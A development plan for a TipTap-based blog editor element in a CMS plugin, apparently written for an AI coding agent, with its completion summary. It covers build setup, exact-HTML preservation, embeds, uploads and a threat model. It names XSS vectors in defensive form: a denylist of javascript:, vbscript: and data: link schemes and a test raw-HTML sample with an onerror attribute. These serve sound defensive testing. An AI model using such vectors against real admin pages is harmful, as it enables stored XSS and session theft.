Repository: `../sm-journal-plugin` (branch main). Commits there: no co-author tags, stage by explicit path, one logical change per commit. It has no `.gitignore` today; add one with `node_modules/` before the first install. The Go module builds against `../summercms.go` through `go.work`.
<interfaces>
Element contract (identical to plan 01's interfaces block; plan 01 documents it in docs/backend/field-types.md). Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
Embed placeholder (stored markup, consumed by the layer in plan 04):
```html
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
```
Element skeleton (RESEARCH Code Example 3, the value logic to keep):
```ts
get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
set value(v: string) {
if (v === this.value) return // echo of our own summer-change
this.#value = v; this.#dirty = false
this.#editor?.commands.setContent(v, { emitUpdate: false })
}
// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
```
Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
Policy the server applies on save (plan 03, sm-journal-plugin classes/format_html.go `SanitizeHTML`, the bluemonday UGC policy plus the Journal extensions in `newHTMLPolicy`): it strips what it does not allow and never refuses (D-10 amended). Stripped are, among others, `script`, `style`, `iframe`, `object`, `embed`, `form`, `svg`, comments, every `on*` attribute, `target` and `rel` on links, `alt` values outside UGC's Paragraph pattern, `start` on `ol`, `data-*` on `figure`, and URLs other than http, https, mailto and relative. Plan 03 extends the policy for exactly this element's own output: `figure` `data-embed` (`youtube`) and `data-id` (11 characters `[A-Za-z0-9_-]`), `img` `alt` with any text, and `ol` `start` (integer); plan 04 mirrors the same four in the layer. The save response then names what was removed and the SPA sets the stored value back into the element through the value property (plan 01). The element does not try to rewrite content.
</interfaces>
</context>
<tasks>
<task type="checkpoint:human-verify" gate="blocking-human">
<name>Task 1: Package legitimacy check before the first TipTap install (all @tiptap packages flagged too-new)</name>
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Package Legitimacy Audit, Standard Stack), ../summercms.go/admin/package.json (the approved toolchain pins)</read_first>
<action>Do not install anything. Run the read-only registry query in the verify command and print, for each of @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table and @tiptap/extension-image at 3.31.4: version, license, repository URL, publish time, and the scripts object (preinstall, install and postinstall must be absent). Print the npm pages for the human: https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit, https://www.npmjs.com/package/@tiptap/extension-table, https://www.npmjs.com/package/@tiptap/extension-image, and the release list https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is kept because it is the version the research probed; the flag is the release age (published 2026-09-30), not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
<what-built>Nothing yet: a read-only registry report for the five editor packages.</what-built>
<how-to-verify>Open each npm page: the publisher is the TipTap organisation (ueberdosis), the repository is github.com/ueberdosis/tiptap, the license is MIT, version 3.31.4 exists and has normal weekly downloads, and the package has no install scripts. Check the GitHub release notes for 3.31.4 for any security advisory or yanked release.</how-to-verify>
<resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all five packages (the executor re-runs the query for it), or "stop".</resume-signal>
<verify>
<automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit @tiptap/extension-table @tiptap/extension-image; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' &amp;&amp; exit 1; done; echo registry-ok</automated>
<fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
</verify>
<acceptance_criteria>
- The verify printed registry-ok and the SUMMARY records each package's license and repository URL.
- The SUMMARY records the human's reply verbatim and the version that Task 2 installs.
</acceptance_criteria>
<done>A human approved the editor packages and their version, or stopped the plan.</done>
</task>
<task type="tracer">
<name>Task 2: Tracer: element source to committed, embedded bundle, with the untouched-value contract proven on an imported post</name>
<precondition>Task 1 was answered "packages approved" or "use X.Y.Z"; `node --version` reports v22.6 or later.</precondition>
<files>../sm-journal-plugin/.gitignore, ../sm-journal-plugin/package.json, ../sm-journal-plugin/package-lock.json, ../sm-journal-plugin/tsconfig.json, ../sm-journal-plugin/vite.config.ts, ../sm-journal-plugin/scripts/check-dist.sh, ../sm-journal-plugin/assets/src/blogeditor/index.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/admin.go</files>
<read_first>../sm-journal-plugin/admin.go (the //go:embed list), ../sm-journal-plugin/plugin_test.go (AdminFS assertions), ../summercms.go/admin/package.json (toolchain pins), ../summercms.go/admin/vitest.config.ts, ../summercms.go/scripts/check-admin-dist.sh (drift gate to mirror), ../summercms.go/admin/src/components/form/fields/WidgetField.vue (header comment: element rules), ../summercms.go/modules/cabana/README.md (section "Partial style kit and plugin CSS variables": the --c-* names), ../summercms.go/modules/boardwalk/boardwalk.go (admin CSP, line 32), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json (fixture source: its content field, markdown with the author footer and style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 3, 5, 8; Pitfalls 1-4; Code Example 3)</read_first>
<action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3). It deliberately keeps legacy markup that the server policy strips (the style block, target, rel): the element must return it byte for byte; stripping is the server's job on an edited save (D-10). The live post 64 on UAT no longer has the style block in content_html (re-saved in 16.1); the local export still does, which is why the fixture comes from the export.
Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go. Commits: "build(editor): blog editor JS build and drift gate" (package files, configs, script, .gitignore), "feat(editor): blog editor element with exact untouched value" (source, tests, dist, admin.go).</action>
<verify>
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/smoke.test.ts &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
<fails_when>Non-zero exit: a smoke case fails (the untouched value differs from the fixture, or summer-change fires without an edit), check-dist prints "check-dist: assets/dist is stale", go vet fails (for example the embed pattern matches no file), or the classes or controllers tests fail.</fails_when>
</verify>
<acceptance_criteria>
- `grep -c "golem15-journal-blogeditor" ../sm-journal-plugin/assets/dist/blogeditor.js` prints a number of at least 1.
- `grep -n "assets/dist/blogeditor.js" ../sm-journal-plugin/admin.go` prints one line.
- `git -C ../sm-journal-plugin check-ignore node_modules` prints node_modules.
- `grep -cE "eval\(|new Function\(" ../sm-journal-plugin/assets/dist/blogeditor.js` prints 0 (admin CSP script-src 'self'; the bundle is minified and has no comments to filter).
- smoke.test.ts passes its four cases on the imported-post fixture.
</acceptance_criteria>
<done>The element is built, committed and embedded; an untouched imported post round-trips byte for byte and only user edits emit summer-change.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Expansion: preservation schema and serializer, toolbar features, image upload and YouTube embeds</name>
<reversibility rating="costly">D-05: the embed placeholder markup becomes stored content in live posts and the layer's renderer depends on it; changing it later needs a content migration and a layer release.</reversibility>
<files>../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json, ../sm-journal-plugin/README.md</files>
<read_first>../sm-journal-plugin/assets/src/blogeditor/element.ts (Task 2 state), ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/node_modules/@tiptap/starter-kit/src/starter-kit.ts (option names), ../sm-journal-plugin/node_modules/@tiptap/extension-table/src (TableKit and renderHTML), ../sm-journal-plugin/node_modules/@tiptap/extension-image/src/image.ts, ../sm-journal-plugin/node_modules/@tiptap/extension-link/src/link.ts (isAllowedUri, HTMLAttributes), the installed OrderedList source (../sm-journal-plugin/node_modules/@tiptap/extension-list/src in TipTap 3, or the package StarterKit imports it from: the start attribute and its input rule), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTML: what the server keeps), ../vue-journal-layer/app/utils/htmlGate.ts (allowedUrl: the URL rule to mirror), ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Pattern 4, Pitfalls 1-3, Security Domain; its CheckHTML text predates the bluemonday switch)</read_first>
<behavior>
- rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
- Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
- Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
- Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
- Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
- Links: isAllowedUri, the link input and isPolicyUrl accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and a scheme hidden by a tab or newline are refused; a created link has href only.
- Corpus (D-05): corpus.test.ts builds each entry through editor commands (embed from a youtube.com URL; image without caption whose alt contains a colon, a question mark and double quotes; image with caption; 3x3 table with header row; links http, https, mailto and relative; headings 2 to 4; bullet list; ordered list; ordered list starting at 3; blockquote; bold, italic, strike, underline and inline code; code block; horizontal rule; hard break; one document combining all of them) and compares each serialized value with editor-corpus.json; with UPDATE_CORPUS=1 it rewrites the file instead.
</behavior>
<action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2, with Link's isAllowedUri replaced by isPolicyUrl (also exported): the URL is accepted when, after removing ASCII control characters, spaces and DEL, it has no scheme (relative, including # and ?) or its scheme is http, https or mailto (the rule both sanitizer policies apply; see allowedUrl in the layer's htmlGate.ts); Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
Corpus (D-05): new tests/blogeditor/corpus.test.ts builds the entries listed in the behavior block on happy-dom through editor commands only (insertContent of HTML is not used, so each entry is what the toolbar and input rules produce), serializes each with serializeDocument, and compares the array of {name, html} with tests/blogeditor/fixtures/editor-corpus.json; with UPDATE_CORPUS=1 it writes the file (two-space JSON, trailing newline). Generate and commit the file. The corpus must hold no iframe, no on* attribute, no target or rel, no style attribute and no URL outside isPolicyUrl; the test asserts that too. Plans 03 and 04 consume this file, so its entry names stay stable once committed.
Tests: extend tests/blogeditor/smoke.test.ts with one case per remaining behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder, the link URL rule, the policy corpus (UPDATE_CORPUS=1 to regenerate; plans 03 and 04 check it against the Go policy and the layer) and the upload flow. Commit as feat(editor) with the dist, the corpus and README, staged by explicit path.</action>
<verify>
<automated>../sm-journal-plugin/node_modules/.bin/tsc --noEmit -p ../sm-journal-plugin &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; go -C ../sm-journal-plugin vet ./...</automated>
<fails_when>Non-zero exit: tsc reports a type error, any vitest case fails (untouched round trip, block reuse, rawHtml text card, attribute preservation, tables, links and the URL rule, embed parsing and round trip, upload flow, or the corpus differing from the editor's output), check-dist prints "check-dist: assets/dist is stale", or go vet fails.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "export function serializeDocument" ../sm-journal-plugin/assets/src/blogeditor/serializer.ts`, `grep -n "export function parseEmbedUrl" ../sm-journal-plugin/assets/src/blogeditor/embed.ts` and `grep -n "export function isPolicyUrl" ../sm-journal-plugin/assets/src/blogeditor/extensions.ts` each print one line.
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json parses as JSON, holds at least 15 entries including one whose html contains `data-embed="youtube"`, one with `<figcaption>`, one with `<table>` and one with `start="3"`, and `grep -cE '<iframe|target=|rel=| on[a-z]+=|style=' ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` prints 0.
- The vitest run reports every case passing, including the block-reuse case (only the edited paragraph differs) and the embed round trip producing the exact placeholder.
- `grep -c "data-embed" ../sm-journal-plugin/assets/dist/blogeditor.js` prints at least 1, and the dist matches a fresh build (check-dist passes).
- `grep -oE 'summer-(upload-result|upload|change)' ../sm-journal-plugin/assets/dist/blogeditor.js | sort -u | wc -l` prints 3 (the bundle uses all three fixed element contract event names shared with plan 01).
- README.md has a "Blog Editor" heading.
</acceptance_criteria>
<done>Edited documents keep unknown markup and unedited blocks, the toolbar covers text, links, tables, images, embeds and raw HTML, images upload through the SPA contract, and the editor's own output is committed as the policy corpus that plans 03 and 04 test.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| stored post HTML → admin editor DOM | imported or previously saved HTML is parsed into the editor inside the admin origin |
| editor → SPA (events) | the element hands files and values to the SPA; the SPA owns the session |
| npm registry → plugin build | the editor packages enter the committed bundle |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-09 | Elevation of Privilege (admin XSS) | rawHtml node view | high | mitigate | The card renders the stored source with textContent, never innerHTML; ProseMirror parses through the schema, so script is never a node; a test asserts a rawHtml with an onerror attribute creates no img element in the editor DOM |
| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value goes through classes.SanitizeHTML in the plan 03 Decode on every locale (D-10 amended: strip, never refuse), the save names what was removed and the SPA puts the stored value back into the element; the layer sanitizes again before v-html |
| T-16.2-11 | Tampering | link mark | medium | mitigate | isAllowedUri is replaced by isPolicyUrl (http, https, mailto, relative only, scheme read after removing control characters and spaces), the same rule both sanitizer policies apply; tests cover javascript:, data:, tel: and a tab-split scheme |
| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |
</threat_model>
<verification>
- Task 1: registry report printed and a human approved the packages.
- Task 2: smoke tests, check-dist, go vet and the classes and controllers tests pass.
- Task 3: typecheck, the full vitest suite, check-dist and go vet pass.
</verification>
<success_criteria>
- D-01, D-03 (client half), D-04, D-05 (editor half, including the committed policy corpus), D-13 (element half), D-16 and D-18 (editor half) delivered in sm-journal-plugin with a committed, embedded bundle and a drift gate.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md` when done, with the package report, the human reply, the installed versions, the commit hashes and the bundle size.
</output>

View File

@@ -0,0 +1,298 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 02
subsystem: journal-admin-editor
tags: [sm-journal-plugin, tiptap, prosemirror, custom-elements, vite, vitest, blog-editor, embeds, uploads]
requires:
- phase: 16.2-01
provides: the field type element contract (value property, attributes, summer-change, summer-upload, summer-upload-result) and the SPA host that loads plugin field type scripts as module scripts
provides:
- custom element golem15-journal-blogeditor (BlogEditorElement), committed bundle assets/dist/blogeditor.js and blogeditor.css embedded through admin.go
- preservationExtensions, isPolicyUrl, RawHtml, Embed, Figure, FigureImage, Figcaption, Span, HtmlAttributes (extensions.ts)
- serializeDocument and captureBlocks (serializer.ts), parseEmbedUrl and EMBED_PROVIDERS (embed.ts), labelsFor (labels.ts), buildToolbar (toolbar.ts)
- tests/blogeditor/fixtures/editor-corpus.json, the editor's own output for the plan 03 Go policy test and the plan 04 layer copy
- sm-journal-plugin JS build (package.json, package-lock.json, vite.config.ts, tsconfig.json) and the scripts/check-dist.sh drift gate
affects: [16.2-03, 16.2-04, 16.2-05, 16.2-06, journal]
actuals:
tokens: 29500
tasks: 2
commits: 3
plan_head_before: c60abc6d6220d5f9f15659d1cc5ec7d8dd1f5020
plan_head_after: 086e485
commits_repo: ../sm-journal-plugin
tech-stack:
added:
- "@tiptap/core 3.31.4"
- "@tiptap/pm 3.31.4"
- "@tiptap/starter-kit 3.31.4"
- "@tiptap/extension-table 3.31.4"
- "@tiptap/extension-image 3.31.4"
- "vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3 (dev, same pins as the admin SPA)"
patterns:
- "Untouched value: the element returns the exact served string until a user-originated docChanged transaction or a Source tab input"
- "Top-level block reuse: the original HTML is split by source position, each piece parsed alone, and runs of nodes still Node.eq to the captured ones are emitted as their original bytes (LCS alignment after prefix/suffix trimming)"
- "Stored HTML never reaches the live admin DOM: raw blocks are text cards, serializer and raw renderHTML work in an inert document, on* attributes are never captured"
- "Committed, minified plugin bundle with a temp-dir rebuild and diff -r drift gate"
key-files:
created:
- ../sm-journal-plugin/.gitignore
- ../sm-journal-plugin/package.json
- ../sm-journal-plugin/package-lock.json
- ../sm-journal-plugin/tsconfig.json
- ../sm-journal-plugin/vite.config.ts
- ../sm-journal-plugin/scripts/check-dist.sh
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
- ../sm-journal-plugin/assets/dist/blogeditor.js
- ../sm-journal-plugin/assets/dist/blogeditor.css
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
- ../sm-journal-plugin/tests/blogeditor/helpers.ts
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
modified:
- ../sm-journal-plugin/admin.go
- ../sm-journal-plugin/plugin_test.go
- ../sm-journal-plugin/README.md
key-decisions:
- "TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (reply: packages approved)"
- "The bundle is built through Vite's application pipeline with a single ES entry, fixed names and preserved exports, not build.lib: library mode never minifies whitespace in ES output (587 KB vs 466 KB)"
- "Images are inline (Image inline: true), so an uncaptioned image is <p><img src alt></p>; a captioned one is <figure><img><figcaption></figure> through a block figureImage node"
- "Link parsing, rendering and commands all use isPolicyUrl: a stored link with another scheme (tel:, ftp:) keeps its text but loses the link when its block is edited, the same result the server policy gives on an edited save"
- "Raw HTML cards cover the plan's tags plus article, main, address, dl, iframe, video, audio, picture, object, embed, form, svg, math, script and noscript, so more stored markup survives an edit; the server still strips what its policy does not allow"
- "Event handler attributes (on*) are never captured by the global attribute map, so they never reach the live admin DOM"
- "External values (value setter, Source tab re-parse) are loaded outside the undo history"
patterns-established:
- "Plugin-owned JS build: package.json with exact pins, committed lockfile, committed dist, scripts/check-dist.sh"
- "Editor corpus: entries built only through editor commands and typing, committed as JSON, rewritten with UPDATE_CORPUS=1"
requirements-completed: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
coverage:
- id: D1
description: "Element defined once; untouched imported post returns byte for byte; no summer-change on set or echo; one summer-change per user edit; Source tab shows and edits the exact string; disabled and invalid; value kept across detach"
requirement: D-03
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#blog editor element (tracer)"
status: pass
human_judgment: false
- id: D2
description: "Raw HTML cards (text only, no live img/script), unmodelled attributes and spans kept on edited blocks, block reuse leaves every other top-level block byte-identical (and undo restores the exact fixture), tables with thead and bare cell text, links keep target/rel and gain none, no trailing paragraph"
requirement: D-04
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#preservation schema"
status: pass
human_judgment: false
- id: D3
description: "parseEmbedUrl accepts watch?v=, youtu.be/, shorts/, embed/ and refuses everything else; the embed node renders exactly the placeholder, shows a card and never an iframe; a malformed placeholder stays raw HTML; toolbar URL input"
requirement: D-05
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#embeds"
status: pass
human_judgment: false
- id: D4
description: "Picker and drop send summer-upload {id, file}; summer-upload-result {id, url} opens the alt/caption form and inserts img or figure; {id, error} and the 60 s timeout show the error and insert nothing; non-matching ids are ignored"
requirement: D-18
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#image uploads"
status: pass
human_judgment: false
- id: D5
description: "isPolicyUrl, setLink and the link input accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and tab/newline-split schemes are refused; created links have href only"
requirement: D-05
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#links and the URL rule"
status: pass
human_judgment: false
- id: D6
description: "Toolbar offers every D-04 feature, en and pl labels, formatting, undo/redo and table editing, raw HTML block opens Source at the insert, raw card opens its source"
requirement: D-13
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#toolbar"
status: pass
human_judgment: false
- id: D7
description: "editor-corpus.json (15 entries) equals a fresh build through editor commands and holds no iframe, handler, target, rel or style and only policy URLs"
requirement: D-05
verification:
- kind: unit
ref: "../sm-journal-plugin/tests/blogeditor/corpus.test.ts"
status: pass
human_judgment: false
- id: D8
description: "Committed bundle matches a fresh build, is embedded, has no eval/new Function; go vet clean"
requirement: D-16
verification:
- kind: other
ref: "bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./..."
status: pass
human_judgment: false
- id: D9
description: "The element in the real admin SPA: typing, selection, toolbar, drag and drop, uploads through the cabana route, CSS in light and dark mode"
verification: []
human_judgment: true
rationale: "happy-dom covers the logic, not browser selection or layout; plan 03 registers the field type and plan 05/06 run the UAT browser check"
duration: 25min
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 02: Blog Editor element Summary
**`golem15-journal-blogeditor`, a TipTap 3.31.4 WYSIWYG editor with an exact-HTML Source tab, returns an untouched imported post byte for byte and, after an edit, keeps every unedited top-level block's original bytes; it ships raw HTML cards, figures, YouTube embed placeholders, policy-only links, SPA-mediated image uploads, a committed policy corpus and a minified bundle embedded in sm-journal-plugin with a drift gate.**
## Performance
- **Duration:** about 25 min
- **Started:** 2026-10-10T09:31:47Z
- **Completed:** 2026-10-10T09:56Z
